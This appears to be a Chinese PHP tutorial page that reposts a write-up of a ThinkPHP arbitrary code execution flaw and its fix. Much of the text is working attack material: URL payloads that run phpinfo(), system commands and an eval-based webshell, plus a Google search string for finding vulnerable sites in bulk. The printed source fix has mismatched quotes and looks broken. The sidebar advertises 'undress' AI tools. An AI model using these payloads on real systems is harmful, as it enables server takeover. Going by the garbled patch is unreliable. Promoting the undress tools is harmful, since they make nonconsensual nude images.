首頁 php教程 php手册 ThinkPHP框架任意代码执行漏洞的利用及其修复方法

ThinkPHP框架任意代码执行漏洞的利用及其修复方法

Jun 13, 2016 am 09:32 AM
thinkphp框架 修復 漏洞

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}
登入後複製

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}
登入後複製

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

登入後複製

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

登入後複製

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。

thinkphp框架执行任意代码漏洞修复方法:

用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

登入後複製

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

登入後複製

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

此 Apple ID 尚未在 iTunes Store 中使用:修復 此 Apple ID 尚未在 iTunes Store 中使用:修復 Jun 10, 2024 pm 05:42 PM

使用AppleID登入iTunesStore時,可能會在螢幕上拋出此錯誤提示「此AppleID尚未在iTunesStore中使用」。沒有什麼可擔心的錯誤提示,您可以按照這些解決方案集進行修復。修正1–更改送貨地址此提示出現在iTunesStore中的主要原因是您的AppleID個人資料中沒有正確的地址。步驟1–首先,開啟iPhone上的iPhone設定。步驟2–AppleID應位於所有其他設定的頂部。所以,打開它。步驟3–在那裡,打開“付款和運輸”選項。步驟4–使用面容ID驗證您的存取權限。步驟

如何修復iPhone上的紅眼 如何修復iPhone上的紅眼 Feb 23, 2024 pm 04:31 PM

所以,你在上一次聚會上拍了一些很棒的照片,但不幸的是,你拍的大部分照片都是紅眼睛。照片本身很棒,但其中的紅色眼睛有點破壞了圖像。更不用說,其中一些派對照片可能來自您朋友的手機。今天,我們將看看如何從照片中去除紅眼。是什麼原因導致照片中的眼睛發紅?使用閃光燈拍照時,紅眼現象往往會出現。這是因為閃光燈的光線直接照射到眼睛後部,引起眼底血管反射光線,從而在照片中呈現紅色眼睛的效果。幸運的是,隨著技術的不斷進步,現在一些相機已經配備了紅眼修正功能,可以有效解決這個問題。透過使用此功能,相機會在拍照

如何解決Win11驗證憑證失敗的問題? 如何解決Win11驗證憑證失敗的問題? Jan 30, 2024 pm 02:03 PM

有win11用戶在使用憑證登入時,收到的卻是您的憑證無法驗證的錯誤提示,這是怎麼回事?小編調查此問題後,發現可能有幾種不同的情況直接或間接導致該問題,以下就和小編一起來看看吧。

PHP 500錯誤全面指南:原因、診斷與修復 PHP 500錯誤全面指南:原因、診斷與修復 Mar 22, 2024 pm 12:45 PM

PHP500錯誤全面指南:原因、診斷與修復在PHP開發過程中,我們常會遇到HTTP狀態碼為500的錯誤。這種錯誤通常被稱為"500InternalServerError",它是指在伺服器端處理請求時發生了一些未知的錯誤。在本文中,我們將探討PHP500錯誤的常見原因、診斷方法以及修復方法,並提供具體的程式碼範例供參考。 1.500錯誤的常見原因1.

解決Win11藍屏問題的簡易指南 解決Win11藍屏問題的簡易指南 Dec 27, 2023 pm 02:26 PM

很多朋友在使用電腦作業系統時,總會出現藍屏的狀況,就算是最新的win11系統,也難逃藍屏的命運,因此今天小編帶來了win11藍屏修復教程。無論大家有沒有遇過藍屏,都可以先學習一下,以備不時之需。 win11藍屏怎麼修復方法一1、如果我們如果遇到了藍屏,先重啟系統,查看是否能夠正常啟動。 2、可以正常啟動的話,右鍵點擊桌面上的“電腦”,選擇“管理”3、接著在彈出視窗左側展開“系統工具”,選擇“事件檢視器”4、在事件檢視器中,我們就可以看到具體是什麼問題導致的藍色畫面。 5.接著只要依照藍屏的狀況以及事

WIN10音量無法調整進行修復的操作方法 WIN10音量無法調整進行修復的操作方法 Mar 27, 2024 pm 05:16 PM

1.按win+r開啟運行窗口,輸入【regedit】回車,開啟註冊表編輯器。 2.在開啟的登錄編輯程式中,依序點選展開【HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun】,在右側空白處,點選右鍵選擇【新建-字串值】,並重新命名為【systray.exe】。 3.雙擊開啟systray.exe,將其數值資料修改為【C:WindowsSystem32systray.exe】,點選【確定】儲存設定。

如何解決csrss.exe導致的藍色畫面問題 如何解決csrss.exe導致的藍色畫面問題 Dec 28, 2023 pm 06:24 PM

若您的電腦啟動後常出現藍色畫面現象,伴隨而來的可能是Windows系統對csrss.exe檔產生的嚴重錯誤(停止碼為0xF4)。現在就讓我們來看看它怎麼修復吧! csrss.exe藍色畫面如何修正先同時按"Ctrl+Alt+Del"按鍵,這時將會跳出來自MicrosoftWindows工作管理員的介面。點選「任務管理器」的選項卡,畫面列出所有正在執行的程式以及它們所佔用的資源狀況等資訊。再次點擊進入“進程”選項卡,再次點擊“映像名稱”,然後在該清單中找到"csrss.exe"檔案。點擊「結束進程」的按鈕

修復因為網卡驅動程式異常導致無法上網的方法 修復因為網卡驅動程式異常導致無法上網的方法 Jan 06, 2024 pm 06:33 PM

有的朋友發現自己的電腦因為網卡驅動程式不正常上不了網,想要知道怎麼修復,其實現在的系統都自帶驅動程式修復功能,因此我們只需要手動更新一下驅動程式就可以了,實在不行還能使用驅動軟體。網路卡驅動程式不正常上不了網怎麼修復:PS:如果突然出現的這個問題,可以先試試看重啟電腦喲~重啟後還不行在繼續下面的操作。方法一:1、首先,點選工作列中的右鍵,選擇「開始功能表」2、在右鍵選單中開啟「裝置管理員」。 3.點選“網路介面卡”,然後選擇“更新驅動程式”點擊“自動搜尋驅動程式”後,更新完成即可正常上網5、也有些用戶是因

See all articles